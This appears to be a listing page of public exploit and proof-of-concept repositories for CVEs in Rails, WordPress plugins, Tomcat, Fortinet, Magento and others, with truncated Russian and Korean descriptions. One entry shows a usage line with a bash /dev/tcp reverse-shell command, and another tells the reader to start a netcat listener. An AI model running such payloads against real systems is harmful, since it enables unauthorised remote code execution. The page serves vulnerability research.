CVE-2015-3224

Ruby on Rails 웹 콘솔 익스플로잇 CVE-2015-3224 이 저장소는 Ruby on Rails 4.0.x 및 4.1.x 개발자 웹 콘솔의 IP 화이트리스트 우회 취약점 을 익스플로잇하는 Python 스크립트 를 포함합니다. 이 스크립트는 취약한 서버에서 원격 코드 실행 을 가능하게 합니다. ⚠️ 면책 조항 이 스크립트는 교육 목적 및 공인된 보안 테스트 용도로만 사용하세요. 명시적 허가 없이 어떤 시스템에서도 사용하지 마십시오. 저자는 이 스크립트로 인한 오용 또는 손해에 대해 책임지지 않습니다. 📌 취약점 설명...

CVE-2026-9645-ScadaBR-Analysis

CVE-2026-9645 — Анализ уязвимости ScadaBR Технический анализ уязвимости и брифинг по CVE для CVE-2026-9645 , затрагивающего платформу SCADA/HMI с открытым исходным кодом ScadaBR. Обзор CVE-2026-9645 — критическая уязвимость удалённого выполнения кода после аутентификации в ScadaBR. Согласно...

CVE-2024-9932

CVE-2024-9932 Wux Blog Editor = 3.0.0 - Неавторизованная произвольная загрузка файлов Описание: Плагин Wux Blog Editor для WordPress уязвим для произвольной загрузки файлов из-за недостаточной проверки типов файлов в функции 'wuxbtinsertImageNew' в версиях до 3.0.0 включительно. Это позволяет...

CVE-2026-39808

CVE-2026-39808 В ноябре 2025 года в FortiSandbox компании Fortinet была обнаружена критическая уязвимость, которая позволяла неаутентифицированному злоумышленнику выполнять команды в базовой операционной системе с правами root. Уязвимость была исправлена и наконец раскрыта в апреле 2026 года. Эта...

CVE-2019-16278

Эксплоиты для CVE-2019-16278 и CVE-2019-16279 Nostromo httpd подвержен 2 критическим уязвимостям для версий &1...

CVE-2019-11447-EXP

CVE-2019-11447-EXP CuteNews Avatar 2.1.2 Уязвимость удаленного выполнения кода Перед запуском python-скрипта сначала выполните команду nc. Порт по умолчанию — 1234. Затем выполните exploit.py, следуйте подсказкам и введите необходимые данные...

CVE-2023-27532

CVE-2023-27532 Proof of Concept код для эксплуатации CVE-2023-27532, позволяющий либо получить учётные данные в открытом виде, либо удалённо выполнить произвольную команду. Обзор Подробный анализ уязвимости и методов её эксплуатации представлен в анализе Rapid7 на AttackerKB. Сборка Откройте прое...

CVE-2024-0195-SpiderFlow

CVE-2024-0195 Небезопасный контроль генерации кода 'Code Injection' Критический 2024 Краткое описание CVE-2024-0195 — это критическая уязвимость внедрения кода в веб-приложении spider-flow версии 0.4.3, конкретно в функции FunctionService.saveFunction файла FunctionController.java. Злоумышленник...

CVE-2023-47460

CVE-2023-47460 Описание Уязвимость SQL-инъекции в Knovos Discovery v.22.67.0 позволяет удаленному злоумышленнику выполнить произвольный код через компонент /DiscoveryProcess/Service/Admin.svc/getGridColumnStructure Тип уязвимости SQL-инъекция Поставщик продукта Knovos Discovery Затронутая версия...

Erlang-OTP-SSH-CVE-2025-32433

✅ 결과 서버가 SSH 메시지 ID 800x50에 응답했습니다. 이는 인증 후post-auth용으로 예약된 것입니다. 이는 서버가 사전 인증pre-auth 단계에서 잘못된 메시지를 수용함을 증명하며, CVE-2025-32433에 정의된 취약한 동작 을 나타냅니다. 📖 연구 요약 저는 신뢰할 수 있는 여러 출처에서 Erlang/OTP와 CVE를 연구한 후 이 실험 환경을 구축했습니다. Erlang/OTP 는 원래 Ericsson이 확장 가능하고 내결함성이 있는 분산 시스템을 구축하기 위해 개발한 강력한 환경입니다. 여기에는 자체...

PoC-Funcional---CVE-2026-45247-Mirasvit-Full-Page-Cache-Warmer-RCE-

CVE-2026-45247 - Mirasvit Full Page Cache Warmer для Magento 2 - PHP Object Injection → RCE -red 📋 Описание CVE-2026-45247 — критическая уязвимость PHP Object Injection внедрение PHP-объектов в расширении Mirasvit Full Page Cache Warmer для Magento 2 и Adobe Commerce. Неаутентифицированный...

CVE-2025-7401

CVE-2025-7401 Premium Age Verification / Restriction for WordPress = 3.0.2 - Неаутентифицированное произвольное чтение и запись файлов 🧾 Premium Age Verification / Restriction for WordPress = 3.0.2 — Неаутентифицированное произвольное чтение и запись файлов 📝 Описание Плагин «Premium Age...

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617 — критическая уязвимость удалённого выполнения кода RCE, обнаруженная в Apache Tomcat поражаются системы, в которых включены HTTP PUT-запросы путем установки параметра инициализации "read-only" сервлета Default в значение "false". Версии Tomcat до 9.0.1 Beta, 8.5.23,...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Изначально CVE-2023–26326 требовал цепочек гаджетов для эксплуатации как уязвимости десериализации. Этот метод больше не применим на более новых сайтах WordPress, работающих на PHP 8+; однако, объединив его с...

react2shell-evolved

React2Shell Scanner Высокоточное обнаружение RCE в RSC/Next.js Сканер для обнаружения уязвимостей удаленного выполнения кода RCE в приложениях React Server Components и Next.js. О проекте React2Shell Scanner — это специализированный инструмент для выявления уязвимостей удаленного выполнения кода...

CVE-2022-22954-PoC

CVE-2022-22954 PoC RCE в VMware Workspace ONE Access и Identity Manager через SSTI. CVE-2022-22954 - PoC SSTI Использование: root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shoda...

Apache-CouchDB-CVE-2022-24706-RCE-Exploits-Blog-post-

Apache-CouchDB-CVE-2022-24706-RCE-Exploits-Blog-post- Я написал статью в блоге об Apache CouchDB CVE-2022-24706 RCE Exploits...

joomla_rce_CVE-2015-8562

joomlarceCVE-2015-8562 Все версии Joomla! ниже 3.4.6 уязвимы. Однако эксплуатация возможна только для версий PHP ниже 5.5.29, 5.6.13 и ниже 5.5. Демо : https://www.youtube.com/watch?v=twqYpn1ir4o...

CVE-2022-31144

CVE-2022-31144 CVE-2022-31144 DoS в Redis. RCE ещё не завершено...

CVE-2025-25257

CVE-2025-25257 CVE‑2025‑25257 — это критическая уязвимость SQL-инъекции до аутентификации, затрагивающая компонент Fabric Connector в Fortinet FortiWeb. Она влияет на версии FortiWeb: 7.6.0–7.6.3 7.4.0–7.4.7 7.2.0–7.2.10 ≤ 7.0.10 Технические детали Проблема заключается в функции...